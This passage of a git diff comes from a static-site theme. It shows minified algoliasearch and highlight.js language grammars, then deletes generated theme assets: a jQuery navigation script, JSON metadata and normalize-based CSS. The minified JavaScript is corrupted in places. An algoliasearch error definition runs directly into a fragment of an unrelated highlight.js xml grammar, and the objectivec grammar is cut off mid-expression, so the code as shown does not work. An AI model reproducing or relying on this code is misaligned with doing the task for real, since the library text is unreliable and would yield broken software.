r=e.toLowerCase().replace(/[\.\(\)]/g,"");return"algoliasearch: `"+e+"` was replaced by `"+t+"`. Please see https://github.com/algolia/algoliasearch-client-javascript/wiki/Deprecated#"+r}},{}],28:[function(e,t,r){"use strict";function o(t,r){var o=e(5),n=this;"function"==typeof Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):n.stack=(new Error).stack||"Cannot get a stacktrace, browser is too old",this.name="AlgoliaSearchError",this.message=t||"Unknown error",r&&o(r,function(e,t){n[t]=e})}function n(e,t){function r(){var r=Array.prototype.slice.call(arguments,0);"string"!=typeof r[0]&&r.unshift(t),o.apply(this,r),this.name="AlgoliaSearch"+e+"Error"}return i(r,o),r}var i=e(7);i(o,Error),t.exports={AlgoliaSearchError:o,UnparsableJSON:n("UnparsableJSON","Could not parse the incoming response as JSON, see err.more for details"),RequestTimeout:n("RequestTimeout","Request timedout before getting a response"),Network:n("Network","Network issue, see err.more for details"),JSONPScriptFail:n("JSONPScriptFail","",rE:!0,sL:["actionscript","javascript","handlebars","xml"]}},{cN:"meta",v:[{b:/<\?xml/,e:/\?>/,r:10},{b:/<\?\w+/,e:/\?>/}]},{cN:"tag",b:"",c:[{cN:"name",b:/[^\/><\s]+/,r:0},r]}]}}),e.registerLanguage("markdown",function(e){return{aliases:["md","mkdown","mkd"],c:[{cN:"section",v:[{b:"^#{1,6}",e:"$"},{b:"^.+?\\n[=-]{2,}$"}]},{b:"<",e:">",sL:"xml",r:0},{cN:"bullet",b:"^([*+-]|(\\d+\\.))\\s+"},{cN:"strong",b:"[*_]{2}.+?[*_]{2}"},{cN:"emphasis",v:[{b:"\\*.+?\\*"},{b:"_.+?_",r:0}]},{cN:"quote",b:"^>\\s+",e:"$"},{cN:"code",v:[{b:"^```w*s*$",e:"^```s*$"},{b:"`.+?`"},{b:"^( {4}| )",e:"$",r:0}]},{b:"^[-\\*]{3,}",e:"$"},{b:"\\[.+?\\][\\(\\[].*?[\\)\\]]",rB:!0,c:[{cN:"string",b:"\\[",e:"\\]",eB:!0,rE:!0,r:0},{cN:"link",b:"\\]\\(",e:"\\)",eB:!0,eE:!0},{cN:"symbol",b:"\\]\\[",e:"\\]",eB:!0,eE:!0}],r:10},{b:/^\[[^\n]+\]:/,rB:!0,c:[{cN:"symbol",b:/\[/,e:/\]/,eB:!0,eE:!0},{cN:"link",b:/:\s*/,e:/$/,eB:!0}]}]}}),e.registerLanguage("nginx",function(e){var t={cN:"variable",v:[{b:/\$\d+/},{b:/\$\{/,e:/}/},{b:"[\\$\\@]"+e.UIR}]},r={eW:!0,l:"[a-z/_]+",k:{literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},r:0,i:"=>",c:[e.HCM,{cN:"string",c:[e.BE,t],v:[{b:/"/,e:/"/},{b:/'/,e:/'/}]},{b:"([a-z]+):/",e:"\\s",eW:!0,eE:!0,c:[t]},{cN:"regexp",c:[e.BE,t],v:[{b:"\\s\\^",e:"\\s|{|;",rE:!0},{b:"~\\*?\\s+",e:"\\s|{|;",rE:!0},{b:"\\*(\\.[a-z\\-]+)+"},{b:"([a-z\\-]+\\.)+\\*"}]},{cN:"number",b:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{cN:"number",b:"\\b\\d+[kKmMgGdshdwy]*\\b",r:0},t]};return{aliases:["nginxconf"],c:[e.HCM,{b:e.UIR+"\\s+{",rB:!0,e:"{",c:[{cN:"section",b:e.UIR}],r:0},{b:e.UIR+"\\s",e:";|{",rB:!0,c:[{cN:"attribute",b:e.UIR,starts:r}],r:0}],i:"[^\\s\\}]"}}),e.registerLanguage("objectivec",function(e){var t={cN:"built_in",b:"\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\w+"},r={keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},a=/[a-zA-Z@][a-zA-Z0-9_]*/,n="@interface @class @protocol @implementation";return{aliases:["mm","objc","obj-c"],k:r,l:a,i:""}]}]},{cN:"class",b:"("+n.split(" ").join("|")+")\\b",e:"({|$)",eE:!0,k:n,l:a,c:[e.UTM]},{b:"\\."+e.UIR,r:0}]}}),e.registerLanguage("perl",function(e){var t="getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when",r={cN:"subst",b:"[$@]\\{",e:"\\}",k:t},a={b:"->{",e:"}"},n={v:[{b:/\$\d/},{b:/[\$%@](\^\w\b|#\w+(::\w+)*|{\w+}|\w+(::\w*)*)/},{b:/[\$%@][^\s\w{]/,r:0}]},i=[e.BE,r,n],s=[n,e.HCM,e.C("^\\=\\w","\\=cut",{eW:!0}),a,{cN:"string",c:i,v:[{b:"q[qwxr]?\\s*\\(",e:"\\)",r:5},{b:"q[qwxr]?\\s*\\[",e:"\\]",r:5},{b:"q[qwxr]?\\s*\\{",e:"\\}",r:5},{b:"q[qwxr]?\\s*\\|",e:"\\|",r:5},{b:"q[qwxr]?\\s*\\<",e:"\\>",r:5},{b:"qw\\s+q",e:"q",r:5},{b:"'",e:"'",c:[e.BE]},{b:'"',e:'"'},{b:"`",e:"`",c:[e.BE]},{b:"{\\w+}",c:[],r:0},{b:"-?\\w+\\s*\\=\\>",c:[],r:0}]},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\/\\/|"+e.RSR+"|\\b(split|return|print|reverse|grep)\\b)\\s*",k:"split return print reverse grep",r:0,c:[e.HCM,{cN:"regexp",b:"(s|tr|y)/(\\\\.|[^/])*/(\\\\.|[^/])*/[a-z]*",r:10},{cN:"regexp",b:"(m|qr)?/",e:"/[a-z]*",c:[e.BE],r:0}]},{cN:"function",bK:"sub",e:"(\\s*\\(.*?\\))?[;{]",eE:!0,r:5,c:[e.TM]},{b:"-\\w\\b",r:0},{b:"^__DATA__$",e:"^__END__$",sL:"mojolicious",c:[{b:"^@@.*",e:"$",cN:"comment"}]}];return r.c=s,a.c=s,{aliases:["pl","pm"],l:/[\w\.]+/,k:t,c:s}}),e.registerLanguage("php",function(e){var t={b:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"},r={cN:"meta",b:/<\?(php)?|\?>/},a={cN:"string",c:[e.BE,r],v:[{b:'b"',e:'"'},{b:"b'",e:"'"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},n={v:[e.BNM,e.CNM]};return{aliases:["php3","php4","php5","php6"],cI:!0,k:"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally",c:[e.HCM,e.C("//","$",{c:[r]}),e.C("/\\*","\\*/",{c:[{cN:"doctag",b:"@[A-Za-z]+"}]}),e.C("__halt_compiler.+?;",!1,{eW:!0,k:"__halt_compiler",l:e.UIR}),{cN:"string",b:/<<<['"]?\w+['"]?$/,e:/^\w+;?$/,c:[e.BE,{cN:"subst",v:[{b:/\$\w+/},{b:/\{\$/,e:/\}/}]}]},r,{cN:"keyword",b:/\$this\b/},t,{b:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{cN:"function",bK:"function",e:/[;{]/,eE:!0,i:"\\$|\\[|%",c:[e.UTM,{cN:"params",b:"\\(",e:"\\)",c:["self",t,e.CBCM,a,n]}]},{cN:"class",bK:"class interface",e:"{",eE:!0,i:/[:\(\$"]/,c:[{bK:"extends implements"},e.UTM]},{bK:"namespace",e:";",i:/[\.']/,c:[e.UTM]},{bK:"use",e:";",c:[e.UTM]},{b:"=>"},a,n]}}),e.registerLanguage("python",function(e){var t={keyword:"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False",built_in:"Ellipsis NotImplemented"},r={cN:"meta",b:/^(>>>|\.\.\.) /},a={cN:"subst",b:/\{/,e:/\}/,k:t,i:/#/},n={cN:"string",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[r],r:10},{b:/(u|b)?r?"""/,e:/"""/,c:[r],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[r,a]},{b:/(fr|rf|f)"""/,e:/"""/,c:[r,a]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)"/,e:/"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)"/,e:/"/},{b:/(fr|rf|f)'/,e:/'/,c:[a]},{b:/(fr|rf|f)"/,e:/"/,c:[a]},e.ASM,e.QSM]},i={cN:"number",r:0,v:[{b:e.BNR+"[lLjJ]?"},{b:"\\b(0o[0-7]+)[lLjJ]?"},{b:e.CNR+"[lLjJ]?"}]},s={cN:"params",b:/\(/,e:/\)/,c:["self",r,i,n]};return a.c=[n,i,r],{aliases:["py","gyp"],k:t,i:/(<\/|->|\?)|=>/,c:[r,i,n,e.HCM,{v:[{cN:"function",bK:"def"},{cN:"class",bK:"class"}],e:/:/,i:/[${=;\n,]/,c:[e.UTM,s,{b:/->/,eW:!0,k:"None"}]},{cN:"meta",b:/^[\t ]*@/,e:/$/},{b:/\b(print|exec)\(/}]}}),e.registerLanguage("ruby",function(e){ -var t="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",r={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},a={cN:"doctag",b:"@[A-Za-z]+"},n={b:"#<",e:">"},i=[e.C("#","$",{c:[a]}),e.C("^\\=begin","^\\=end",{c:[a],r:10}),e.C("^__END__","\\n$")],s={cN:"subst",b:"#\\{",e:"}",k:r},c={cN:"string",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/`/,e:/`/},{b:"%[qQwWx]?\\(",e:"\\)"},{b:"%[qQwWx]?\\[",e:"\\]"},{b:"%[qQwWx]?{",e:"}"},{b:"%[qQwWx]?<",e:">"},{b:"%[qQwWx]?/",e:"/"},{b:"%[qQwWx]?%",e:"%"},{b:"%[qQwWx]?-",e:"-"},{b:"%[qQwWx]?\\|",e:"\\|"},{b:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/},{b:/<<(-?)\w+$/,e:/^\s*\w+$/}]},o={cN:"params",b:"\\(",e:"\\)",endsParent:!0,k:r},l=[c,n,{cN:"class",bK:"class module",e:"$|;",i:/=/,c:[e.inherit(e.TM,{b:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{b:"<\\s*",c:[{b:"("+e.IR+"::)?"+e.IR}]}].concat(i)},{cN:"function",bK:"def",e:"$|;",c:[e.inherit(e.TM,{b:t}),o].concat(i)},{b:e.IR+"::"},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":(?!\\s)",c:[c,{b:t}],r:0},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{cN:"params",b:/\|/,e:/\|/,k:r},{b:"("+e.RSR+"|unless)\\s*",k:"unless",c:[n,{cN:"regexp",c:[e.BE,s],i:/\n/,v:[{b:"/",e:"/[a-z]*"},{b:"%r{",e:"}[a-z]*"},{b:"%r\\(",e:"\\)[a-z]*"},{b:"%r!",e:"![a-z]*"},{b:"%r\\[",e:"\\][a-z]*"}]}].concat(i),r:0}].concat(i);s.c=l,o.c=l;var u="[>?]>",d="[\\w#]+\\(\\w+\\):\\d+:\\d+>",b="(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>",p=[{b:/^\s*=>/,starts:{e:"$",c:l}},{cN:"meta",b:"^("+u+"|"+d+"|"+b+")",starts:{e:"$",c:l}}];return{aliases:["rb","gemspec","podspec","thor","irb"],k:r,i:/\/\*/,c:i.concat(p).concat(l)}}),e.registerLanguage("shell",function(e){return{aliases:["console"],c:[{cN:"meta",b:"^\\s{0,3}[\\w\\d\\[\\]()@-]*[>%$#]",starts:{e:"$",sL:"bash"}}]}}),e.registerLanguage("sql",function(e){var t=e.C("--","$");return{cI:!0,i:/[<>{}*#]/,c:[{bK:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment",e:/;/,eW:!0,l:/[\w\.]+/,k:{keyword:"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null",built_in:"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void"},c:[{cN:"string",b:"'",e:"'",c:[e.BE,{b:"''"}]},{cN:"string",b:'"',e:'"',c:[e.BE,{b:'""'}]},{cN:"string",b:"`",e:"`",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}}),e}); diff --git a/themes/resources/_gen/assets/js/js/externalDependencies.js_187be290e8222f6bb644052568a2fb6d.json b/themes/resources/_gen/assets/js/js/externalDependencies.js_187be290e8222f6bb644052568a2fb6d.json deleted file mode 100644 index 071bc88c..00000000 --- a/themes/resources/_gen/assets/js/js/externalDependencies.js_187be290e8222f6bb644052568a2fb6d.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"js/externalDependencies.39c47e10e241eae2947b3fe21809c572.js","MediaType":"application/javascript","Data":{"Integrity":"md5-OcR+EOJB6uKUez/iGAnFcg=="}} \ No newline at end of file diff --git a/themes/resources/_gen/assets/js/js/theme.js_55cad661bece23b32a5f7ed1a2a576e0.content b/themes/resources/_gen/assets/js/js/theme.js_55cad661bece23b32a5f7ed1a2a576e0.content deleted file mode 100644 index 85a5f8c4..00000000 --- a/themes/resources/_gen/assets/js/js/theme.js_55cad661bece23b32a5f7ed1a2a576e0.content +++ /dev/null @@ -1,28 +0,0 @@ -$(document).ready(function() { - $(".toggler").click(function () { - $("nav").slideToggle(); - $("#search").autocomplete("val", ""); - }); - - $(document).keyup(function (e) { - if (e.keyCode === 27) { - if ( ! $("nav").hasClass('permanentTopNav') ) - $("nav").slideUp(); - $("#search").autocomplete("val", ""); - } - else if (e.keyCode === 83){ - if ( ! $("nav").hasClass('permanentTopNav') ) - $("nav").slideDown(); - $("#search").focus(); - } - }) - - $('.flexslider').flexslider({ - animation: "slide", - prevText: "", - nextText: "", - pauseOnHover: true, - }); -}); - -hljs.initHighlightingOnLoad(); diff --git a/themes/resources/_gen/assets/js/js/theme.js_55cad661bece23b32a5f7ed1a2a576e0.json b/themes/resources/_gen/assets/js/js/theme.js_55cad661bece23b32a5f7ed1a2a576e0.json deleted file mode 100644 index 77b9cc64..00000000 --- a/themes/resources/_gen/assets/js/js/theme.js_55cad661bece23b32a5f7ed1a2a576e0.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"js/theme.ff50ae6dc1bfc220b23bf69dbb41b54e.js","MediaType":"application/javascript","Data":{"Integrity":"md5-/1CubcG/wiCyO/adu0G1Tg=="}} \ No newline at end of file diff --git a/themes/resources/_gen/assets/scss/sass/combined.scss_1dad3bd1d055240d1e75d37c621205ba.content b/themes/resources/_gen/assets/scss/sass/combined.scss_1dad3bd1d055240d1e75d37c621205ba.content deleted file mode 100644 index 518cee7d..00000000 --- a/themes/resources/_gen/assets/scss/sass/combined.scss_1dad3bd1d055240d1e75d37c621205ba.content +++ /dev/null @@ -1,2 +0,0 @@ -@charset "UTF-8";/*!normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css*/html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:#0000}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template{display:none}[hidden]{display:none}.container{position:relative;width:100%;max-width:960px;margin:0 auto;padding:0 20px;box-sizing:border-box}.column,.columns{width:100%;float:left;box-sizing:border-box}@media(min-width:400px){.container{width:85%;padding:0}}@media(min-width:550px){.container{width:80%}.column,.columns{margin-left:4%}.column:first-child,.columns:first-child{margin-left:0}.one.column,.one.columns{width:4.66666666667%}.two.columns{width:13.3333333333%}.three.columns{width:22%}.four.columns{width:30.6666666667%}.five.columns{width:39.3333333333%}.six.columns{width:48%}.seven.columns{width:56.6666666667%}.eight.columns{width:65.3333333333%}.nine.columns{width:74%}.ten.columns{width:82.6666666667%}.eleven.columns{width:91.3333333333%}.twelve.columns{width:100%;margin-left:0}.one-third.column{width:30.6666666667%}.two-thirds.column{width:65.3333333333%}.one-half.column{width:48%}.offset-by-one.column,.offset-by-one.columns{margin-left:8.66666666667%}.offset-by-two.column,.offset-by-two.columns{margin-left:17.3333333333%}.offset-by-three.column,.offset-by-three.columns{margin-left:26%}.offset-by-four.column,.offset-by-four.columns{margin-left:34.6666666667%}.offset-by-five.column,.offset-by-five.columns{margin-left:43.3333333333%}.offset-by-six.column,.offset-by-six.columns{margin-left:52%}.offset-by-seven.column,.offset-by-seven.columns{margin-left:60.6666666667%}.offset-by-eight.column,.offset-by-eight.columns{margin-left:69.3333333333%}.offset-by-nine.column,.offset-by-nine.columns{margin-left:78%}.offset-by-ten.column,.offset-by-ten.columns{margin-left:86.6666666667%}.offset-by-eleven.column,.offset-by-eleven.columns{margin-left:95.3333333333%}.offset-by-one-third.column,.offset-by-one-third.columns{margin-left:34.6666666667%}.offset-by-two-thirds.column,.offset-by-two-thirds.columns{margin-left:69.3333333333%}.offset-by-one-half.column,.offset-by-one-half.columns{margin-left:52%}}html{font-size:62.5%}body{font-size:1.5em;line-height:1.6;font-weight:400;font-family:Raleway,HelveticaNeue,helvetica 